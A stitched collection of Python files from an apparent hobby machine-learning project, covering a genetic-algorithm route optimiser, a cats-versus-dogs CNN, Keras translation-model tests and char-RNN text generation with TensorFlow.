+                distance = 1 / sorted_pop[0][1]
+                
+                progress.append(distance)
+                if prn:
+                    print(f"[Generation:{i}] Current distance: {distance}")
+                route = population[sorted_pop[0][0]]
+        else:
+            for i in range(generations):
+                population = next_gen(population, elite_size, mutation_rate)
+                distance = 1 / sort_routes(population)[0][1]
+                
+                if prn:
+                    print(f"[Generation:{i}] Current distance: {distance}")
+    except KeyboardInterrupt:
+        pass
+    stop_animation.set()
+    final_route_index = sort_routes(population)[0][0]
+    final_route = population[final_route_index]
+    if prn:
+        print("Final route:", final_route)
+    
+    return initial_route, final_route, distance
+
+
+if __name__ == "__main__":
+    cities = generate_cities(25)
+    initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800)
+    # plot_routes(initial_route, final_route)
+
+
+
+
+import numpy
+import matplotlib.pyplot as plt
+import cv2
+from PIL import Image
+from multiprocessing import Process
+
+
+def fig2img ( fig ):
+    """
+    brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it
+    param fig a matplotlib figure
+    return a Python Imaging Library ( PIL ) image
+    """
+    # put the figure pixmap into a numpy array
+    buf = fig2data ( fig )
+    w, h, d = buf.shape
+    return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) )
+
+
+def fig2data ( fig ):
+    """
+    brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it
+    param fig a matplotlib figure
+    return a numpy 3D array of RGBA values
+    """
+    # draw the renderer
+    fig.canvas.draw ( )
+ 
+    # Get the RGBA buffer from the figure
+    w,h = fig.canvas.get_width_height()
+    buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 )
+    buf.shape = ( w, h,3 )
+ 
+    # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode
+    buf = numpy.roll ( buf, 3, axis = 2 )
+    return buf
+
+
+if __name__ == "__main__":
+    pass
+    # figure = plt.figure()
+    # plt.plot([3, 5, 9], [3, 19, 23])
+    # img = fig2img(figure)
+    # img.show()
+    # while True:
+    #     frame = numpy.array(img)
+    #     # Convert RGB to BGR 
+    #     frame = frame[:, :, ::-1].copy() 
+    #     print(frame)
+    #     cv2.imshow("test", frame)
+    #     if cv2.waitKey(0) == ord('q'):
+    #         break
+    # cv2.destroyAllWindows()
+
+
+
+def realtime_plot(route):
+
+    
+    figure = plt.figure(figsize=(14, 8))
+    plt.title("Real time routes")
+    for city in route:
+        plt.scatter(city.x, city.y, s=70, c='b')
+
+    plt.plot([ city.x for city in route ], [city.y for city in route], c='r')
+    
+    img = numpy.array(fig2img(figure))
+    cv2.imshow("test", img)
+    if cv2.waitKey(1) == ord('q'):
+        cv2.destroyAllWindows()
+    plt.close(figure)
+
+
+
+
+from genetic import genetic_algorithm, generate_cities, City
+import operator
+
+def load_cities():
+    return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ]
+
+def train():
+    cities = load_cities()
+    generations = 1000
+    popsizes = [60, 100, 140, 180]
+    elitesizes = [5, 15, 25, 35, 45]
+    mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01]
+
+    total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates)
+    iteration = 0
+
+    tries = {}
+
+    for popsize in popsizes:
+        for elite_size in elitesizes:
+            for mutation_rate in mutation_rates:
+                iteration += 1
+                init_route, final_route, distance = genetic_algorithm( cities=cities,
+                                         popsize=popsize,
+                                         elite_size=elite_size,
+                                         mutation_rate=mutation_rate,
+                                         generations=generations,
+                                         plot=False,
+                                         prn=False)
+                progress = iteration / total_iterations
+                percentage = progress * 100
+                print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}")
+                tries[(popsize, elite_size, mutation_rate)] = distance
+    
+    min_gen = min(tries.values())
+    reversed_tries = { v:k for k, v in tries.items() }
+    best_combination = reversed_tries[min_gen]
+    print("Best combination:", best_combination)
+
+
+if __name__ == "__main__":
+    train()
+
+    
+# best parameters
+# popsize	elitesize	mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
+# 90	    25		    0.0001
+# 110	    10		    0.001
+# 130	    10		    0.005
+# 130	    20		    0.001
+# 150	    25		    0.001
+
+
+
+
+import os
+
+
+def load_data(path):
+    """
+    Load dataset
+    """
+    input_file = os.path.join(path)
+    with open(input_file, "r") as f:
+        data = f.read()
+
+    return data.split('\n')
+
+
+
+
+import numpy as np
+from keras.losses import sparse_categorical_crossentropy
+from keras.models import Sequential
+from keras.preprocessing.text import Tokenizer
+from keras.utils import to_categorical
+
+
+def _test_model(model, input_shape, output_sequence_length, french_vocab_size):
+    if isinstance(model, Sequential):
+        model = model.model
+
+    assert model.input_shape == (None, *input_shape[1:]),\
+        'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape)
+
+    assert model.output_shape == (None, output_sequence_length, french_vocab_size),\
+        'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\
+            .format(model.output_shape, output_sequence_length, french_vocab_size)
+
+    assert len(model.loss_functions) > 0,\
+        'No loss function set.  Apply the compile function to the model.'
+
+    assert sparse_categorical_crossentropy in model.loss_functions,\
+        'Not using sparse_categorical_crossentropy function for loss.'
+
+
+def test_tokenize(tokenize):
+    sentences = [
+        'The quick brown fox jumps over the lazy dog .',
+        'By Jove , my quick study of lexicography won a prize .',
+        'This is a short sentence .']
+    tokenized_sentences, tokenizer = tokenize(sentences)
+    assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\
+        'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. '
+
+
+def test_pad(pad):
+    tokens = [
+        [i for i in range(4)],
+        [i for i in range(6)],
+        [i for i in range(3)]]
+    padded_tokens = pad(tokens)
+    padding_id = padded_tokens[0][-1]
+    true_padded_tokens = np.array([
+        [i for i in range(4)] + [padding_id]*2,
+        [i for i in range(6)],
+        [i for i in range(3)] + [padding_id]*3])
+    assert isinstance(padded_tokens, np.ndarray),\
+        'Pad returned the wrong type.  Found {} type, expected numpy array type.'
+    assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.'
+
+    padded_tokens_using_length = pad(tokens, 9)
+    assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\
+        'Using length argument return incorrect results'
+
+
+def test_simple_model(simple_model):
+    input_shape = (137861, 21, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_embed_model(embed_model):
+    input_shape = (137861, 21)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_encdec_model(encdec_model):
+    input_shape = (137861, 15, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_bd_model(bd_model):
+    input_shape = (137861, 21, 1)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+def test_model_final(model_final):
+    input_shape = (137861, 15)
+    output_sequence_length = 21
+    english_vocab_size = 199
+    french_vocab_size = 344
+
+    model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size)
+    _test_model(model, input_shape, output_sequence_length, french_vocab_size)
+
+
+
+
+CATEGORIES = ["Dog", "Cat"]
+IMG_SIZE = 100
+
+
+DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages"
+TRAINING_DIR = r"E:\datasets\CatnDog\Training"
+TESTING_DIR  = r"E:\datasets\CatnDog\Testing"
+
+
+
+
+import cv2
+import tensorflow as tf
+import os
+import numpy as np
+import random
+from settings import *
+from tqdm import tqdm
+
+
+# CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat"
+# DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog"
+
+MODEL = "Cats-vs-dogs-new-6-0.90-CNN"
+
+def prepare_image(path):
+    image = cv2.imread(path, cv2.IMREAD_GRAYSCALE)
+    image = cv2.resize(image, (IMG_SIZE, IMG_SIZE))
+    return image
+    # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE)
+    # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))
+    # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+
+def load_model():
+    return tf.keras.models.load_model(f"{MODEL}.model")
+
+
+def predict(img):
+    prediction = model.predict([prepare_image(img)])[0][0]
+    return int(prediction)
+
+
+if __name__ == "__main__":
+    model = load_model()
+    x_test, y_test = [], []
+
+    for code, category in enumerate(CATEGORIES):    
+        path = os.path.join(TESTING_DIR, category)
+        for img in tqdm(os.listdir(path), "Loading images:"):
+            # result = predict(os.path.join(path, img))
+            # if result == code:
+            #     correct += 1
+            # total += 1
+            # testing_data.append((os.path.join(path, img), code))
+            x_test.append(prepare_image(os.path.join(path, img)))
+            y_test.append(code)
+
+    x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+    # random.shuffle(testing_data)
+
+    # total = 0
+    # correct = 0
+
+    # for img, code in testing_data:
+        
+    #     result = predict(img)
+    #     if result == code:
+    #         correct += 1
+    #     total += 1
+
+    # accuracy = (correct/total) * 100
+    # print(f"{correct}/{total}   Total Accuracy: {accuracy:.2f}%")
+    # print(x_test)
+    # print("="*50)
+    # print(y_test)
+    print(model.evaluate([x_test], y_test))
+    print(model.metrics_names)
+
+
+
+
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+import os
+# import cv2
+from tqdm import tqdm
+import random
+from settings import *
+
+
+# for the first time only
+# for category in CATEGORIES: 
+#     directory = os.path.join(TRAINING_DIR, category)
+#     os.makedirs(directory)
+
+# # for the first time only
+# for category in CATEGORIES: 
+#     directory = os.path.join(TESTING_DIR, category)
+#     os.makedirs(directory)
+
+
+
+
+# Total images for each category: 12501 image (total 25002)
+
+
+# def create_data():
+#     for code, category in enumerate(CATEGORIES):
+#         path = os.path.join(DATADIR, category)
+#         for counter, img in enumerate(tqdm(os.listdir(path)), start=1):
+#             try:
+#                 # absolute path of image
+#                 image = os.path.join(path, img)
+#                 image = cv2.imread(image, cv2.IMREAD_GRAYSCALE)
+#                 image = cv2.resize(image, (IMG_SIZE, IMG_SIZE))
+#                 if counter < 300:
+#                     # testing image
+#                     img = os.path.join(TESTING_DIR, category, img)
+#                 else:
+#                     # training image
+#                     img = os.path.join(TRAINING_DIR, category, img)
+
+#                 cv2.imwrite(img, image)
+#             except:
+#                 pass
+
+
+def load_data(path):
+
+    data = []
+
+    for code, category in enumerate(CATEGORIES):
+        p = os.path.join(path, category)
+        for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "):
+            img = os.path.join(p, img)
+            img = cv2.imread(img, cv2.IMREAD_GRAYSCALE)
+            data.append((img, code))
+
+    return data
+
+
+def load_training_data():
+    return load_data(TRAINING_DIR)
+
+
+def load_testing_data():
+    return load_data(TESTING_DIR)
+
+
+
+# # load data
+# training_data = load_training_data()
+# # # shuffle data
+# random.shuffle(training_data)
+
+# X, y = [], []
+
+
+# for features, label in tqdm(training_data, desc="Splitting the data: "):
+#     X.append(features)
+#     y.append(label)
+
+# X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1)
+
+# # pickling (images,labels)
+# print("Pickling data...")
+import pickle
+
+# with open("X.pickle", 'wb') as pickle_out:
+#     pickle.dump(X, pickle_out)
+
+# with open("y.pickle", 'wb') as pickle_out:
+#     pickle.dump(y, pickle_out)
+
+
+
+def load():
+    return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb'))
+
+print("Loading data...")
+X, y = load()
+
+X = X/255 # to make colors from 0 to 1
+print("Shape of X:", X.shape)
+import tensorflow
+from tensorflow.keras.datasets import cifar10
+from tensorflow.keras.preprocessing.image import ImageDataGenerator
+from tensorflow.keras.callbacks import ModelCheckpoint
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten
+from tensorflow.keras.layers import Conv2D, MaxPooling2D
+# from tensorflow.keras.callbacks import TensorBoard
+
+print("Imported tensorflow, building model...")
+
+NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN"
+
+checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1)
+
+# 3 conv, 64 nodes per layer, 0 dense
+
+model = Sequential()
+
+model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:]))
+model.add(Activation('relu'))
+model.add(Conv2D(32, (2, 2)))
+model.add(Dropout(0.1))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(64, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(64, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(96, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(96, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(128, (2, 2)))
+model.add(Activation('relu'))
+model.add(Conv2D(128, (2, 2)))
+model.add(Dropout(0.1))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Dense(500, activation="relu"))
+
+model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+
+model.summary()
+
+print("Compiling model ...")
+
+# tensorboard = TensorBoard(log_dir=f"logs/{NAME}")
+
+model.compile(loss="binary_crossentropy",
+              optimizer="rmsprop",
+              metrics=['accuracy'])
+
+print("Training...")
+
+model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint])
+
+
+
+
+### Hyper Parameters ###
+
+batch_size = 256         # Sequences per batch
+num_steps = 70          # Number of sequence steps per batch
+lstm_size = 256          # Size of hidden layers in LSTMs
+num_layers = 2           # Number of LSTM layers
+learning_rate = 0.003    # Learning rate
+keep_prob = 0.3          # Dropout keep probability
+
+epochs = 20
+# Print losses every N interations
+print_every_n = 100
+
+# Save every N iterations
+save_every_n = 500
+
+NUM_THREADS = 12
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=1,
+                        inter_op_parallelism_threads=1, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+                       
+import train_chars
+import numpy as np
+import keyboard
+
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True)
+saver = train_chars.tf.train.Saver()
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"):
+    # samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, vocab_size)
+        char = int2char[c]
+        keyboard.write(char)
+        time.sleep(0.01)
+        # samples.append(char)
+        while True:
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,  
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, vocab_size)
+            char = int2char[c]
+            keyboard.write(char)
+            time.sleep(0.01)
+            # samples.append(char)
+        
+    # return ''.join(samples)ss", "as"
+
+if __name__ == "__main__":
+    # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints")
+    # print(checkpoint)
+    checkpoint = "checkpoints/i6291_l256.ckpt"
+    print()
+    f = open("generates/python.txt", "a", encoding="utf8")
+    int2char_target = { v:k for k, v in char2int_target.items() }
+    import time
+    time.sleep(2)
+    write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100)
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+                       
+import train_chars
+import numpy as np
+
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True)
+saver = train_chars.tf.train.Saver()
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"):
+    samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, vocab_size)
+        samples.append(int2char[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, vocab_size)
+            char = int2char[c]
+            samples.append(char)
+        #     if i == n_samples - 1 and char != " " and char != ".":
+            # if i == n_samples - 1 and char != " ":
+            #     # while char != "." and char != " ":
+            #     while char != " ":
+            #         x[0,0] = c
+            #         feed = {model.inputs: x,
+            #                 model.keep_prob: 1.,
+            #                 model.initial_state: new_state}
+            #         preds, new_state = sess.run([model.prediction, model.final_state], 
+            #                                     feed_dict=feed)
+
+            #         c = pick_top_n(preds, vocab_size)
+            #         char = int2char[c]
+            #         samples.append(char)
+
+        
+    return ''.join(samples)
+
+
+if __name__ == "__main__":
+    # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints")
+    # print(checkpoint)
+    checkpoint = "checkpoints/i6291_l256.ckpt"
+    print()
+    f = open("generates/python.txt", "a", encoding="utf8")
+    int2char_target = { v:k for k, v in char2int_target.items() }
+    for prime in ["#"*100]:
+        samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime)
+        print(samp, file=f)
+        print(samp)
+        print("="*50)
+        print("="*50, file=f)
+
+
+
+
+import numpy as np
+import train_words
+
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+
+def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]):
+    samples = [c for c in prime]
+    model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True)
+    saver = train_words.tf.train.Saver()
+    with train_words.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = train_words.vocab_to_int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+        c = pick_top_n(preds, len(train_words.vocab))
+        samples.append(train_words.int_to_vocab[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, len(train_words.vocab))
+            char = train_words.int_to_vocab[c]
+            samples.append(char)
+        
+    return ' '.join(samples)
+
+
+if __name__ == "__main__":
+    # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints")
+    # print(checkpoint)
+    checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt"
+    samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"])
+    print(samp)
+
+
+
+
+import tensorflow as tf
+import numpy as np
+
+
+
+def get_batches(arr, batch_size, n_steps):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+
+    for n in range(0, arr.shape[1], n_steps):
+        x = arr[:, n: n+n_steps]
+        y_temp = arr[:, n+1:n+n_steps+1]
+        y = np.zeros(x.shape, dtype=y_temp.dtype)
+        y[:, :y_temp.shape[1]] = y_temp
+        yield x, y
+
+
+# batches = get_batches(encoded, 10, 50)
+# x, y = next(batches)
+
+
+def build_inputs(batch_size, num_steps):
+    ''' Define placeholders for inputs, targets, and dropout 
+    
+        Arguments
+        ---------
+        batch_size: Batch size, number of sequences per batch
+        num_steps: Number of sequence steps in a batch
+        
+    '''
+    # Declare placeholders we'll feed into the graph
+    inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs")
+    targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets")
+    
+    # Keep probability placeholder for drop out layers
+    keep_prob = tf.placeholder(tf.float32, name="keep_prob")
+    
+    return inputs, targets, keep_prob
+
+
+def build_lstm(lstm_size, num_layers, batch_size, keep_prob):
+    ''' Build LSTM cell.
+    
+        Arguments
+        ---------
+        lstm_size: Size of the hidden layers in the LSTM cells
+        num_layers: Number of LSTM layers
+        batch_size: Batch size
+        keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability
+
+    '''
+    ### Build the LSTM Cell
+    def build_cell():    
+        # Use a basic LSTM cell
+        lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size)
+        # Add dropout to the cell outputs
+        drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob)
+        return drop_lstm
+    
+    
+    # Stack up multiple LSTM layers, for deep learning
+    # build num_layers layers of lstm_size LSTM Cells
+    cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)])
+    initial_state = cell.zero_state(batch_size, tf.float32)
+    
+    return cell, initial_state
+
+
+def build_output(lstm_output, in_size, out_size):
+    ''' Build a softmax layer, return the softmax output and logits.
+    
+        Arguments
+        ---------
+        
+        lstm_output: List of output tensors from the LSTM layer
+        in_size: Size of the input tensor, for example, size of the LSTM cells
+        out_size: Size of this softmax layer
+    
+    '''
+    # Reshape output so it's a bunch of rows, one row for each step for each sequence.
+    # Concatenate lstm_output over axis 1 (the columns)
+    seq_output = tf.concat(lstm_output, axis=1)
+    # Reshape seq_output to a 2D tensor with lstm_size columns
+    x = tf.reshape(seq_output, (-1, in_size))
+    
+    # Connect the RNN outputs to a softmax layer
+    with tf.variable_scope('softmax'):
+        # Create the weight and bias variables here
+        softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1))
+        softmax_b = tf.Variable(tf.zeros(out_size))
+    
+    # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch
+    # of rows of logit outputs, one for each step and sequence
+    logits = tf.matmul(x, softmax_w) + softmax_b
+    
+    # Use softmax to get the probabilities for predicted characters
+    out = tf.nn.softmax(logits, name="predictions")
+    
